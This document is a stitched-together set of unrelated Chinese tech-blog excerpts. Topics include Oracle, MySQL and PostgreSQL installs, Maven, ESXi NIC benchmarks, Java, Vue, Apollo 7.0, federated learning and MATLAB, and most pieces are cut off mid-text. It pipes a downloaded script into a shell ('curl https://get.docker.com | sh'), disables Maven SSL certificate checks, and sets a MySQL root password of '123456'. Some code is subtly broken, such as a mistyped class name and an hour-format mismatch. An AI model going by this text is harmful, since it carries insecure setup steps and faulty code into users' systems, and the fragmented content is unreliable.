Linux/Centos安装oracle11超详细图文教程

安装oracle11g,顺便做个记录方便后续查看 目录 数据库安装包下载 安装包上传解压 系统参数及环境初始化 安装数据库服务 设置本地图形显示 设置临时语言环境 取消邮件通知 跳过更新 安装内容 数据库类型 语言选择 安装方案 Oracle环境变量设置 指定管理员和操作员所在组 系统检查 系统参数检查 依赖包检查及安装 可能会出现的错误 脚本执行 完成安装 创建监听 创建数据库 创建数据库 指定实例名 ​指定关键账户密码 ​指定字符集 ​数据库创建完成 启动监听 连接测试 数据库安装包下载 官网下载:Oracle官网 摆渡网盘:Oracle11G 安装包上传解压 将下载好的安装包上传到服务器目录,本例以/opt/soft为例, [root@orcl130 shell]# cd /opt/soft/ [root@orcl130 soft]# ll -rw-r--r-- 1 root root 1395582860 8月 29 14:29 p13390677_112040_Linux-x86-64_1of7.zip -rw-r--r-- 1 root root 1151304589 8月 29 14:28 p13390677_112040_Linux-x86-64_2of7.zip [root@orcl130 soft]# 然后进入该目录执行以下命令解压安装包,注意:最好第一个执行完后再执行第二个 unzip p13390677_112040_Linux-x86-64_1of7.zip unzip p13390677_112040_Linux-x86-64_2of7.zip 解压完成后得到一个database目录如下

作为一个计算机小白,只是为了事业单位评职称的情况下,软考应该怎么选择?

如果只是为了事业单位评职称,那么可以选择考软考中级和高级。 中级推荐系统集成项目管理工程师; 高级推荐信息系统项目管理师。 这两个软考科目对于计算机小白来说,都是很友好地,偏简单类型的,大部分为了评职称而考软考的都是选择了这两个考试。 拿到系统集成项目管理工程师证书后,是可以评中级职称的;拿到信息系统项目管理师证书后,可以评副高级职称。当然,信息系统项目管理师考试难度要比系统集成项目管理工程师大,至于选择哪一个就需要看个人需要了。 在准备软考的,可以来扣扣群:423914346,一起交流学习,资料分享。 备考建议: 1.不管是备考系统集成项目管理工程师还是信息系统项目管理师,备考时间最好在3个月以内,过长的备考时间容易让自己产生疲惫感,容易产生放弃的情绪。 2.提前制定好备考计划,根据学习计划做好复习。 3.提前准备好备考资料,比如:教材、考试大纲、历年真题等。

【Maven】Could not transfer artifact xxx from/to xxx的解决方案

1. 首先看了一下标出缺失的包是存在的 2. 接着确认了一下JDK设置都是统一本地版本 3. 最终发现问题: maven下载依赖时候需要忽略SSL证书校验 需要 VM options for importer中添加 -Dmaven.wagon.http.ssl.insecure=true -Dmaven.wagon.http.ssl.allowall=true 解决! 但每次打开新的项目时都要重新添加,很烦人,下面进行懒人设定: maven.wagon.http.ssl.insecure maven.wagon.http.ssl.allowall

VMWare ESXi接口

在上个实验中,我们已经初步实现了通过DPDK纳管主机网卡。 不知道大家注意到没有,我们在查看主机网卡的主线信息时,后面的描述信息是不一样的,可以理解为是主机的网卡信息,一个是VMXNET3类型,另一个是82574L类型。 其实这个是和配置主机时选择的适配器类型相对应的,适配器类型选择VMXNET3,在主机上看到的就是VMXNET3;如果选择的是E1000e,显示就成了82574L了。 当然,还有一个SR-IOV直通,指的就是Single Root I/O Virtualization了,据说是将一个物理网卡虚拟出来多个轻量化的PCI-e物理设备,再分配给虚拟机使用。启用SR-IOV直通之后,将大大减轻宿主机的CPU负荷,提高网络性能,降低网络时延等。 但是很不幸,我的服务器网卡(型号BCM5719)不支持。 那E1000e和VMXNET3这两种类型有什么区别呢? E1000e虚拟网络适配器模拟的是千兆网卡,而VMXNET3则模拟的是万兆网卡,而且VMXNET3虚拟网络适配器可以没有物理网卡对应,也就是不需要借助底层的硬件网卡,并且通过对虚拟机中的性能进行优化,使得虚拟机之间的网络交换不受底层网卡的限制。比如我的服务器,底层都是千兆电口网卡,而主机转发却可以达到万兆,就是这个原因。 所以,VMware ESXi的最佳实践是使用VMXNET3虚拟NIC,除非存在无法使用特定驱动程序或兼容性等原因,建议使用VMXNET3来替换掉E1000e,以有效提升网络性能。 所以今天的主要任务是测试一下这两种网卡的性能差距主要有多大。 测试1:VMXNET3直连 将两台主机的适配器类型都配置为VMXNET3,并连接在同一个端口组下。 用iperf3打流测试,带宽竟然不止万兆,达到了11.6 Gbps。 测试2:E1000e直连 将两台主机的适配器类型都配置为E1000e,并连接在同一个端口组下。 用iperf3打流测试,带宽比千兆好一些,达到了4.24 Gbps,相比VMXNET3,只有三分之一的性能。 测试3:E1000e和VMXNET3对接1 将一台主机142的适配器类型配置为E1000e,另一台主机141的适配器类型配置为VMXNET3,并将两台主机连接在同一个端口组下。 先用适配器类型为E1000e的主机142作为服务器,打流测试,带宽为6.12 Gbps,介于前两次测试之间。 再用适配器类型为VMXNET3的主机141作为服务器,打流测试,带宽为7.01 Gbps,优于使用主机使用E1000e作为服务器的场景。 测试4:E1000e和VMXNET3对接2 为了避免主机的影响,我将两台主机的网卡配置对调了一下,并将两台主机连接在同一个端口组下。 同样的,先用适配器类型为E1000e的主机141作为服务器,打流测试,带宽为7.01 Gbps。 再用适配器类型为VMXNET3的主机142作为服务器,打流测试,带宽为6.71 Gbps,比6.12 Gbps这个值稍好一点。 总结 通过本次的4个测试可知,VMWare ESXi通过对虚拟机的性能进行优化,使得虚拟机之间的网络交换不受底层网卡的限制。虽然E1000e模拟的是千兆网卡,但实际性能仍然不止千兆;虽然VMXNET3模拟的是万兆网卡,实际性能也可以超出万兆。两者底层都不需要对应物理网卡,这点是SR-IOV直通所不支持的。 通过组合对比,E1000e网卡的转发性能最差,只有VMXNET3网卡的三分之一,当两者组合使用时,转发性能大概能达到VMXNET3网卡的三分之二左右。 所以,最起码我们可以确认,VMware ESXi 6.7的最佳实践就是配置虚拟机的网络适配器类型为VMXNET3,相比于E1000e,能大幅提升网络性能。

【项目运行报错】These dependencies were not found: core-js/modules/es6.array.fill in ./node_modules

项目运行报错 These dependencies were not found: core-js/modules/es6.array.fill in ./node_modules/cache-loader/dist/cjs.js??ref–12-0!./node_modules/@vue/cli-plugin-babel/node_modules/babel-loader/lib!./node_modules/cache-loader/dist/cjs.js??ref–0-0!./node_modules/vue-loader/lib??vue-loader-options!./src/views/case-management/components/LegendItem.vue?vue&type=script&lang=js&, ./src/views/case-management/process-custom/custom-renderer/CustomRenderer.js 报错提示信息如下: 尝试解决: 安装指定版本 package.json中 v3.24.0改为v3.6.5 结果:失败 最终解决办法: 使用cnpm重新安装 cnpm install core-js@2 结果:成功运行

Word | 关于删除分节符(下一页)前面的版式就乱了解决方案

WORD中删除分节符有这样的规定: 如果要删除分节符,只要把光标移动到该分节符上,按Delete键即可。但是要注意该分节符前面的文字将合并到后面的节中,并且采用后者的格式设置。 解决方法: 要让WORD能显示分节符,单击”常用”工具栏上的”显示/隐藏编辑标记”按钮,就可以让分节符现出原形;先将光标定位到分节符前一个字符的位置,不停的按回车键直至分节符进入下一页(或者在前一个字符后插入一个分节符(连续));剪切分节符所在页与其后所有页(后面页的内容是不需要的)

mysql8.0安装教程与配置(最详细)操作简单

1、下载mysql8.0.26(目前最新版) https://dev.mysql.com/downloads/mysql/ 2、不登录,仅下载 3、将压缩包解压到你平常软件安装存放的目录 4、解压之后配置环境变量 【此电脑】- 【右键】-【属性】-【高级系统设置】-【环境变量】- 【找到系统变量中的path】-【选中】-【编辑】- 【新建】-【将刚刚mysql压缩包点进去bin目录路径复制并粘贴进来】-【确定】 5、在mysql-8.0.26-winx64目录下新建my.ini文件和Data文件夹【先创建my.txt然后改后缀为ini就可以了、Data文件夹是存放mysql数据的】 6、然后再my.ini文件中将下面文字复制进去,注意将basedir、datadir修改成你存放的位置 [mysqld] #设置3306端口 port=3306 #设置mysql的安装目录 basedir="D:\softwareInstall\mysql-8.0.26-winx64" #设置mysql数据库的数据的存放目录 datadir="D:\softwareInstall\mysql-8.0.26-winx64\data" #允许最大连接数 max_connections=200 #允许连接失败的次数。 max_connect_errors=10 #服务端使用的字符集默认为utf8mb4 character-set-server=utf8mb4 #创建新表时将使用的默认存储引擎 default-storage-engine=INNODB #默认使用“mysql_native_password”插件认证 #mysql_native_password default_authentication_plugin=mysql_native_password [mysql] #设置mysql客户端默认字符集 default-character-set=utf8mb4 [client] #设置mysql客户端连接服务端时默认使用的端口 port=3306 default-character-set=utf8mb4 7、接下来就开始初始化、安装、启动数据库、修改初始化密码。 8、输入cmd 回车 9、然后输入 mysqld --initialize --console 执行过后找到A temporary password is generated for root@localhost: 这句,localhost后面就是自己的初始化密码。 10、接下来安装服务 mysqld --install mysql80 (注意:mysql80是自己取的服务名称,可以按照自己的改动) 11、接下来启动服务 net start mysql80 12、接下来登录mysql,并修改密码 mysql -uroot -p 临时密码(即之前初始化的时候,保存的随机密码) 13、接下来修改密码 alter user ‘root’@‘localhost’ identified by ‘123456’;

银河麒麟高级服务器v10 sp1 搭建局域网yum源(同步阿里yum源centos7.9)

系统环境: [root@localhost ~]# nkvers ############## Kylin Linux Version ################# Release: Kylin Linux Advanced Server release V10 (Tercel Kernel: 4.19.90-23.8.v2101.ky10.x86_64 Build: Kylin Linux Advanced Server release V10 (SP1) /(Tercel)-x86_64-Build20/20210518 ################################################# [root@localhost ~]# echo $LANG zh_CN.UTF-8 实验环境: Yum源仓库服务器IP地址 192.168.1.66 Yum源测试客户端IP地址 192.168.1.15 CentOS 7.9 说明: 搭建内部yum源仓库有许多种类,例如file、ftp、http、https,本教程以http进行搭建内部yum源仓库 一、添加阿里云yum源并检查 mv /etc/yum.repos.d/ /tmp/yum/ curl -o /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo curl -o /etc/yum.repos.d/epel.repo http://mirrors.aliyun.com/repo/epel-7.repo yum makecache yum repolist 修改repo文件 [root@localhost yum.repos.d]# cat CentOS-Base.repo # CentOS-Base.repo # # The mirror system uses the connecting IP address of the client and the

双向链表--尾插法

typedef struct Node { struct Node* prev; int val; struct Node* next; }Node, *linklist; 1.尾插法 linklist Taillist(Node* L) { L->next = NULL; L->prev = NULL; Node* p; Node* r; r = L; for (int i = 0; i < 5; i++) { p = (Node*)malloc(sizeof(Node)); p->val = i + 1; p->prev = r; r->next = p; r = p; } r->next = NULL; return L; } 2.另记录,单链表--尾插法 linklist Taillist(Node* L) { L->next = NULL; L->prev = NULL; Node* p; Node* r; r = L; for (int i = 0; i < 5; i++) { p = (Node*)malloc(sizeof(Node)); p->val = i + 1; r->next = p; r = p; } r->next = NULL; return L; }

JAVA 获取当前时间(年月日时分秒) 时间戳转换

JAVA 获取当前时间(年月日时分秒) 获取当前时间(年月日时分秒) Date d = new Date(); SimpleDateFormat sbf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); System.out.println(sbf.format(d)); 或 System.out.println(new SimpleDateFormat("yyyy-MM-dd HH:mm:ss").format(new Date())); 2020-04-28 14:23:05 获取当前时间戳 到毫秒 System.out.println(System.currentTimeMillis()); 1588055609783 时间戳换成年月日时间时分秒 Date date = new Date(System.currentTimeMillis()); DateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); String format = dateFormat.format(date); System.out.println(format); 1588055609783 --> 2020-04-28 02:33:29 年月日时间时分秒换成时间戳 leDateFormat simpleDateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); Date date = simpleDateFormat.parse("2020-04-28 02:33:29"); long ts = date.getTime(); System.out.println(ts); String res = String.valueOf(ts); // 转化为字符串 System.

java将Word转换成PDF三种方法

网上有很多将Word转换成PDF的方式,这里找了三种比较简单的工具:poi、jacob和aspose。 1.POI 依赖 <dependency> <groupId>org.apache.poi</groupId> <artifactId>poi-ooxml</artifactId> <version>3.17</version> </dependency> <dependency> <groupId>fr.opensagres.xdocreport</groupId> <artifactId>fr.opensagres.poi.xwpf.converter.pdf-gae</artifactId> <version>2.0.1</version> </dependency> 工具类 FileInputStream fileInputStream = new FileInputStream("F:\poi笔记.docx"); XWPFDocument xwpfDocument = new XWPFDocument(fileInputStream); PdfOptions pdfOptions = PdfOptions.create(); FileOutputStream fileOutputStream = new FileOutputStream("F:\poi笔记.pdf"); PdfConverter.getInstance().convert(xwpfDocument,fileOutputStream,pdfOptions); fileInputStream.close(); fileOutputStream.close(); 2.jacob jacob 缺点:需要 window 环境,而且速度是最慢的需要安装 msofficeWord 以及 SaveAsPDFandXPS.exe ( word 的一个插件,用来把 word 转化为 pdf ) 开发流程: SaveAsPDFandXPS 下载地址: http://www.microsoft.com/zh-cn/download/details.aspx?id=7 jacob 包下载地址: http://sourceforge.net/projects/jacob-project/ 1、安装SaveAsPDFandXPS 2、下载 jacob 解压后存放路径: jacob.jar 放在 C:Program FilesJavajdk1.8.0_171jrelibext目录下 jacob.dll 放在 C:Program FilesJavajdk1.

Apollo7.0系统概述

目录 Apollo概述通信框架代码结构代码目录总览canbus模块示例 环境的搭建ubuntu系统的安装Nvidia显卡的安装安装docker安装docker工具包 操作命令启动apollo docker容器进入apollo docker容器 编码细节编译方法启动Apollo DreamView启动Apollo-LGSVL DreamView清除编译环境查看Log启动CANBus调试工具监控topic启动和停止CANBus launch文件 Apollo概述 Apollo系统是百度推出的自动驾驶平台,目前已经迭代到了版本7.0。 通信框架 代码结构 代码目录总览 cyber:主要是涉及到模块之间的topic通信 docker:主要是docker容器 docs:主要是相关的说明文档 modules:代码的核心部分,涉及到控制,规划,感知,预测,驱动等等 scripts:主要是一些调试脚本 third_part:主要存放第三方库文件 canbus模块示例 canbus_component.cc是canbus模块的进入点,主要包含init函数和proc函数 launch目录保存着启动canbus模块的脚本,包含dag文件 dag目录了保存模块拓扑关系的配置文件,可以在 dag 文件中定义使用的 Component 和上游/下游通道,主要包含pb.txt文件和conf文件 conf目录保存了pb.txt和conf文件,主要是相关配置 proto目录保存了proto文件,用于解析相关的数据 common目录保存了gflag文件,主要是一些flag的配置 BUILD主要是配置编译的相关东西 环境的搭建 ubuntu系统的安装 Apollo7.0推荐安装ubuntu18.04以上的版本。 Nvidia显卡的安装 查询系统推荐的显卡:ubuntu-drivers devices 显卡安装:sudo apt-get install nvidia-driver-470 #此处数字要对应上面查询到的版本号 检查是否安装成功:nvidia-smi 安装docker 安装docker社区版 curl https://get.docker.com | sh sudo systemctl start docker && sudo systemctl enable docker 重启docker使其生效 sudo systemctl restart docker 完成 Docker 安装后,在终端中执行下述命令并重启系统,这样可以免去每次执行 Docker 命令时需要添加 sudo 的繁琐

FedAvg算法+LSTM模型+ Shakespeare数据集——字符预测任务

本文目录 1. Shakespeare数据集介绍2. LSTM训练模型3. Client模型4. Serves模型5. 数据处理工具函数6. 数据读取函数7. 训练函数8. 训练结果 1. Shakespeare数据集介绍 任务:下一个字符预测 参数说明:总共4,226,15条样本,可使用官方给出的划分代码按照联邦学习场景下1129个client非独立同分布划分。 介绍: 和FEMNST一样,属于专门给联邦学习用的基准数据集leaf的成员之一。 官网:https://leaf.cmu.edu/ 官方数据预处理与划分代码:https://github.com/TalwalkarLab 引用方式:LEAF: A Benchmark for Federated Settings 从 http://www.gutenberg.org/files/100/old/1994-01-100.zip 下载数据集解压到data文件夹下的raw_data文件夹,重命名为raw_data.txt 我们从https://github.com/TalwalkarLab下载数据集后,找到对应的Shakespeare数据集文件夹,按照README文件即可成果转换成我们想要的数据集,操作命令如下: ./preprocess.sh -s niid --sf 1.0 -k 0 -t sample -tf 0.8 (full-sized dataset) ./preprocess.sh -s niid --sf 0.2 -k 0 -t sample -tf 0.8 (small-sized dataset)('-tf 0.8' reflects the train-test split used in the [FedAvg paper](https://arxiv.org/pdf/1602.05629.pdf)) 至此,我们就能获得预处理后的非独立同分布的Shakespeare数据集,每个数据集下主要包括内容如下: 每个字符串x长度为80,预测下一个字符的输出,总共分为了有135个客户端数据 2. LSTM训练模型 class Model(nn.

Python学习笔记:玩转emoji表情

一、安装 emoji 库属于第三方库,在使用之前,需要提前进行安装和导入。 安装 pip install emoji – successfully pip install emoji -i https://pypi.tuna.tsinghua.edu.cn/simple/ 导入 import emoji 二、模块解释 emoji 模块主要包含2个函数: emoji.emojize() 根据 code 生成 emoji 表情 emoji.demojize() 根据 emoji 表情解码为 code 注意:默认情况下,只能使用部分表情。添加参数 use_aliases=True 后方可展示。 三、玩耍 1.emoji.emojize()编码 今天好困啊! emoji.emojize("今天好:zzz:啊!") # '今天好💤啊!' 笑一笑,十年少。 emoji.emojize(":smile:一:smile:,十年少。", use_aliases=True) # '😄一😄,十年少。' 我是白羊座 emoji.emojize("我是:aries:座", use_aliases=True) # '我是♈座' 你是AB血型 emoji.emojize("你是:ab:血型", use_aliases=True) # '你是🆎血型' 晚上11点了! emoji.emojize("晚上:clock11:点了!", use_aliases=True) # '晚上🕚点了!' 2.emoji.demojize()解码 Python is good! emoji.demojize("Python is 👍") # 'Python is :thumbs_up:' 四、官网

Linux-用户和用户组的管理

文章目录 用户的基础概念相关概念区分用户类别 用户相关管理命令创建用户-useradd修改用户-usermod删除用户-userdel修改用户密码-passwd 用户组的基础概念用户组的基础概念用户组GID用户组分类用户和用户组的关系 用户组的相关管理命令创建组-groupadd修改组-groupmod删除组-groupdel关联用户和组-gpasswd 用户关联的文件/etc/passwd/etc/shadow 用户组关联的文件/etc/group/etc/gshadow 用户的基础概念 相关概念 用户:用户是能够获取系统资源的权限的集合;每个用户都会分配一个特有的id号-uid。用户组是具有相同特征用户的逻辑集合,有时我们需要让多个用户具有相同的权限,比如查看、修改某一个文件的权限,一种方法是分别对多个用户进行文件访问授权,如果有10个用户的话,就需要授权10次,显然这种方法不太合理;另一种方法是建立一个组,让这个组具有查看、修改此文件的权限,然后将所有需要访问此文件的用户放入这个组中,那么所有用户就具有了和组一样的权限。这就是用户组,将用户分组是Linux 系统中对用户进行管理及控制访问权限的一种手段,通过定义用户组,在很大程度上简化了管理工作。UID指的是用户的ID(User ID),一个用户UID标示一个给定用户,UID是用户的唯一标示符,通过UID可以区分不同用户的类别(用户在登录系统时是通过UID来区分用户,而不是通过用户名来区分):超级用户:根用户也就是root用户,它的ID是0,也被称为超级用户,root账户拥有对系统的完全控制权:可以修改、删除任何文件,运行任何命令。所以root用户也是系统里面最具危险性的用户,root用户甚至可以在系统正常运行时删除所有文件系统,造成无法挽回的灾难。所以一般情况下,使用root用户登录系统时需要十分小心。 root可以超越任何用户和用户组来对文件或目录进行读取、修改或删除(在系统正常的许可范围内);对可执行程序的执行、终止;对硬件设备的添加、创建和移除等;也可以对文件和目录进行属主和权限进行修改,以适合系统管理的需要(因为root是系统中权限最高的特权用户)。普通用户:也称为一般用户,它的UID为1000-60000之间,普通用户可以对自己目录下的文件进行访问和修改,也可以对经过授权的文件进行访问;在添加普通用户时,系统默认用户ID从1000开始编号。虚拟用户:也称为系统用户,它的UID为1-999之间,虚拟用户最大的特点是不提供密码登录系统,它们的存在主要是为了方便系统的管理。 区分用户类别 通过查看不同用户UID来区分用户的类别为超级用户、普通用户或是虚拟用户。 查看UID命令:id [option] [user_name]。 相关参数: -u,-user 只输出有效UID -n,-name 对于-ugG输出名字而不是数值 -r,-real 对于-ugG输出真实ID而不是有效ID UID为0时,标识的是超级用户(即root用户),UID为1000-60000之间,标识的是普通用户,UID为1-999之间,标识的是虚拟用户(即系统用户)。 用户相关管理命令 创建用户-useradd useradd命令可用来创建用户账号,并保存在/etc/passwd文件中。配置文件 /etc/login.defs 也影响着创建新用户的各项参数。 语法:useradd [options] user_name。 其中的命令选项说明如下: -u 指定用户UID -o 配合“-u”属性,允许UID重复 -g 指明用户所属基本组,既可为用户组名,也可为GID(该组必须已存在) -d 指定用户的home目录,并自动创建用户home目录 -s 指明用户的默认shell程序 -D 显示或更改默认配置 常用用法: useradd -D 显示创建用户所使用的默认值 useradd -D -g 500 修改创建用户所使用的默认值 useradd user1 创建名为user1 的用户 useradd -m user1 创建时给用户创建家目录 useradd -M user1 创建时不创建用户的家目录 useradd -d / user1 指定新用户的家目录为根目录 useradd -u 501 user1 指定新用户的uid useradd -g g1 user1 指定新用户的gid,该组必须先存在 useradd -G g1,g2,g3 user1 把用户加到g1, g2, g3 三个附加组里 useradd -o -u 100 user1 -o 允许uid 重复 useradd -s /bin/python user1 使用指定的shell 程序 修改用户-usermod usermod可用来修改用户账号的各类信息。用户基本信息保存在数据库 /etc/passwd 中,其记录由用冒号分隔的7个字段组成:

Ubuntu20安装gcc11

Ubuntu20默认情况下没有安装gcc和g++等工具,最近学习C++20的协程编程,需要将g{cc/++}直接升级到11,下面介绍下方法: 首先,添加安装源 sudo add-apt-repository -y ppa:ubuntu-toolchain-r/test 安装gcc11: sudo apt install -y gcc-11 安装g++11: sudo apt install -y g++-11 输入 g++-11 -v 可查看版本信息。 这种方法很简单,不过需要注意,ppa:ubuntu-toolchain仅为尝鲜测试版,并非官方稳定版,一般只用于尝鲜和学习,不建议拿来用于工作。对于严格的工程代码开发,还是建议老老实实用安装包安装。

vue3中结合component :is使用tabs切换组件

<template> <div class="mine-ask"> <van-tabs v-model:active="active"> <van-tab :title="item.title" v-for="item in componentList" :key="item.comName" > <component :is="item.comName"></component> </van-tab> </van-tabs> </div> </template> <script> import { shallowRef, defineComponent, getCurrentInstance, reactive, ref, } from "vue"; import Child1 from "./components/Child1.vue"; import Child2 from "./components/Child2.vue"; export default defineComponent({ name: "", // 注册你的组件 components: { Child2, Child1, }, props: {}, emits: {}, setup(props, { attrs, slots, emit, expose }) { const active = ref(""); return { active, componentList: [ { title: "

【springboot配置】如何让springboot支持jsp页面

前言: 随着时代的发展,springboot这一新兴技术受到越来越多的人们的追捧与使用,一般的开发都是基于vue+springboot之类的前后端分离开发,未经配置的原生springboot是不支持jsp文件的解析的,本文我们来介绍一下如何配置springboot来支持jsp文件的解析 虽然jsp技术已经因为落后被淘汰掉了,但是对于初学者而言,都是应该熟悉并且掌握的基本知识,我可以不用,但你不能不会 非前后端分离项目,搭建能运行jsp的SSM项目 1. 通过springboot创建新项目 选择Java8版本,打包方式为war包 (这点要注意,jsp项目包含了jsp网页文件,需要打成war包才能被支持) 这边我们用的是阿里云的spring initializr ,勾选需要的模块 这边勾选需要的模块即可,spring Web为必选项 2. 配置pom依赖: 配置mysql数据库连接(笔者使用的是MySQL8) 分别添加下面的依赖文件 <!--配置支持jsp--> <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-jasper</artifactId> </dependency> <!-- https://mvnrepository.com/artifact/javax.servlet/javax.servlet-api --> <dependency> <groupId>javax.servlet</groupId> <artifactId>javax.servlet-api</artifactId> </dependency> <!-- https://mvnrepository.com/artifact/javax.servlet/jstl --> <dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> </dependency> 以此支持jsp 添加build文件,将jsp打包进war包 代码如下: <resources> <!-- 作用是打包时将jsp文件拷贝到META-INF目录下--> <resource> <!-- 指定处理哪个目录下的资源文件 --> <directory>src/main/webapp</directory> <!-- 注意此次必须要放在此目录下才能被访问到因为此路径是spring boot静态资源默认访问路径可以通过 --> <targetPath>META-INF/resources</targetPath> <includes> <include>**/**</include> </includes> </resource> </resources> 刷新maven 之后配置webapp文件夹 3. 添加webapp文件夹 首先在main目录下新建webapp文件夹(配置过pom文件夹后会提示)直接选择即可 之后打开模块设置 右击打开module设置 选择facets,配置web.xml文件 (截图的爆红是因为没有发现该目录下有webapp文件夹) 点击加号,新建web.xml文件 注意修改位置目录,添加src\main\webappweb.xml版本号随意(默认就行) 修改后多了web.xml文件

matlab绘制三维图形(mesh,surf,contour,fimplicit3)

目录 mesh函数surf函数contour函数fimplicit3函数 参考学习b站:数学建模学习交流 mesh函数 绘制出在某一区间内完整的网格图 mesh(X,Y,Z)的用法,其中X是n维向量,Y是m维向量,Z是m*n维的矩阵: X = [1,2,4] Y = [3,5] Z = [4,8,10;5,9,13] mesh(X,Y,Z) % (X(j), Y(i), Z(i,j))是线框网格线的交点的坐标 xlabel('x轴'); ylabel('y轴'); zlabel('z轴'); % 加上坐标轴的标签 mesh(Z)的用法,其中Z是m*n维的矩阵: Z = [4,8,10;5,9,13] mesh(Z) xlabel('x轴'); ylabel('y轴'); zlabel('z轴'); % 加上坐标轴的标签 % 等价于 X = 1:3 Y = 1:2 Z = [4,8,10;5,9,13] mesh(X,Y,Z) xlabel('x轴'); ylabel('y轴'); zlabel('z轴'); % 加上坐标轴的标签 mesh(X,Y,Z)中,X中元素不是按照从小到大排序的时候: X = [1,10,4] Y = [3,5] Z = [4,8,10;5,9,13] mesh(X,Y,Z) hidden off % 可以看到背部的图像,不会遮挡(默认是看不到的) xlabel('x轴'); ylabel('y轴'); zlabel('z轴'); % 加上坐标轴的标签 mesh(X,Y,Z)的用法,其中X、Y和Z都是m*n维的矩阵

uni-app:关于自定义组件、easycom规范、uni_modules等问题

1. 结论:使用uni-app框架时,如何创建自定义组件? 官方推荐新建符合easycom规范的组件,不推荐手动引入组件。方法: 1.根目录下新建components目录,右键新建组件,然后在对应的组件名称/组件名称.vue文件里编写代码。 2.根目录下新建uni_modules目录(选择uni ui项目模板,会自动生成uni_modules目录),右键新建uni_modules插件,然后在对应的components/组件名称/组件名称.vue文件里编写代码。 2. 前置: 官方推荐在HBuilderX新建项目时,直接选择uni ui项目模板,然后在代码里直接敲u,所有组件都拉出来,不用引用、不用注册,直接就用。 这时项目目录下会有一个uni_modules文件夹,即是存放uni ui插件的文件夹。 为什么这些组件不用引用、不用注册,直接就能用?因为有easycom。 传统vue组件,需要安装、引用、注册,三个步骤后才能使用组件。uni-app的easycom将其精简为一步。 3. easycom组件规范: 只要组件安装在项目的components目录下或uni_modules目录下,并符合components/组件名称/组件名称.vue目录结构。就可以不用引用、注册,直接在页面中使用。 注意:并不是必须在项目的components目录新建自定义组件,也可以在uni_modules目录下新建自定义uni_modules插件,然后在对应的components/组件名称/组件名称.vue文件里编写代码。 easycom是自动开启的,不需要手动开启。有需求时可以在pages.json的easycom节点进行个性化设置,如关闭自动扫描,或自定义扫描匹配组件的策略。 如果你的组件名称或路径不符合easycom的默认规范,可以在pages.json的easycom节点进行个性化设置,自定义匹配组件的策略 4. 说明 easycom方式引入的组件无需在页面内import,也不需要在components内声明,即可在任意页面使用easycom方式引入组件不是全局引入,而是局部引入。例如在H5端只有加载相应页面才会加载使用的组件在组件名完全一致的情况下,easycom引入的优先级低于手动引入(区分连字符形式与驼峰形式)考虑到编译速度,直接在pages.json内修改easycom不会触发重新编译,需要改动页面内容触发。easycom只处理vue组件,不处理小程序专用组件(如微信的wxml格式组件)。不处理后缀为.nvue的组件。但vue组件也可以全端运行,包括小程序和app-nvue。可以参考uni ui,使用vue后缀,同时兼容nvue页面。nvue页面里引用.vue后缀的组件,会按照nvue方式使用原生渲染,其中不支持的css会被忽略掉。这种情况同样支持easycom。 5.相关官方文档: uni-app官网https://uniapp.dcloud.io/collocation/pages.html#easycom组件使用的入门教程 | uni-app官网https://uniapp.dcloud.io/component/#uni-module%E8%A7%84%E8%8C%83 uni_modules | uni-app官网https://uniapp.dcloud.io/plugin/uni_modules.html

DJL Java环境下部署pytorch模型推理

由于大数据基本都是Java环境,希望与深度学习结合的话,需要将深度学习模型部署在Java环境下。传统方式使用flask搭建接口,在Java环境中对其调用,但通信时间和内存问题限制了这种方式的发展。 DJL是采用Java编写的深度学习框架,支持MXnet,Tensorflow,Pytorch引擎,这意味着同一个模型采用不同语言编写,在DJL框架中运行只需要更改依赖,代码完全一样即可执行。关于DJL更多的介绍大家可以浏览DJL官网,知乎,以及b站的课程。 知乎专栏:DJL深度学习库 - 知乎 b站课程录播:深度学习兽的个人空间_哔哩哔哩_Bilibili GitHub:DeepJavaLibrary · GitHub 下面介绍部署pytorch模型步骤以及我个人遇到的一些坑,希望对大家有所帮助 首先是pom文件依赖 import torch print(torch.__version__) 首先使用该命令查看本地环境下的pytorch版本,根据本地的pytorch版本,选取合适的engine PyTorch Engine - Deep Java Library 这是DJL官网的例子,也包含Linux和maxOS下的依赖配置,我的pytorch版本是1.9.0,给出我的pom文件做参考 <dependencies> <dependency> <groupId>ai.djl</groupId> <artifactId>api</artifactId> <version>0.18.0</version> </dependency> <dependency> <groupId>ai.djl.pytorch</groupId> <artifactId>pytorch-engine</artifactId> <version>0.18.0</version> <scope>runtime</scope> </dependency> <dependency> <groupId>ai.djl.pytorch</groupId> <artifactId>pytorch-native-auto</artifactId> <version>1.9.1</version> <scope>runtime</scope> </dependency> <dependency> <groupId>ai.djl.pytorch</groupId> <artifactId>pytorch-native-cpu</artifactId> <classifier>win-x86_64</classifier> <scope>runtime</scope> <version>1.11.0</version> </dependency> <dependency> <groupId>ai.djl.pytorch</groupId> <artifactId>pytorch-jni</artifactId> <version>1.11.0-0.18.0</version> <scope>runtime</scope> </dependency> </dependencies> 对于加载自己的本地模型,踩到的两个坑,第一个就是如果该模型是用GPU训练的,那么之后推理也需要使用GPU,如果想用CPU推理,那就需要用CPU训练网络(这一条我不确定是否正确,只是我这样修改后确实没有报错了)第二个坑就是在python中保存模型时,要使用下面的代码 net.eval() input = np.random.uniform(0, 1, (1,1, 2048, 1)) input = input.astype(np.float32) input = torch.from_numpy(input) script = torch.

安装PostgreSQL + 修改数据文件路径

前情提要:Ubuntu20.04 安装postpresql 参考网站 sudo apt update sudo apt-get install postgresql -y 自动安装匹配版本,我安装的是 PostgreSQL12 运行并且查看状态 sudo systemctl start postgresql sudo systemctl status postgresql psql shell 参考网站 创建postgres user sudo -i passwd postgres 切换用户 su - postgres 在postgres用户下:键入下面命令,即可进入psql psql 修改数据文件路径 参考网站 好的我们现在在psql shell下:键入“SHOW data_directory;”,如下 postgres=# SHOW data_directory; data_directory ----------------------------- /var/lib/postgresql/12/main (1 row) 可以看到这是目前的postgresql 数据的存放路径,记录下来 接着可以退出psql shell了: postgres=# \q 也退出postgres 用户 接着可以查看一下上面找到的文件路径是否存在,确认存在之后 利用root用户结束 postgresql sudo systemctl stop postgresql sudo rsync -av /var/lib/postgresql/12/main /newdisk/pgdata 很重要的一步!!! 切换文件及的拥有者为postgres,并且更改父文件夹的权限!!

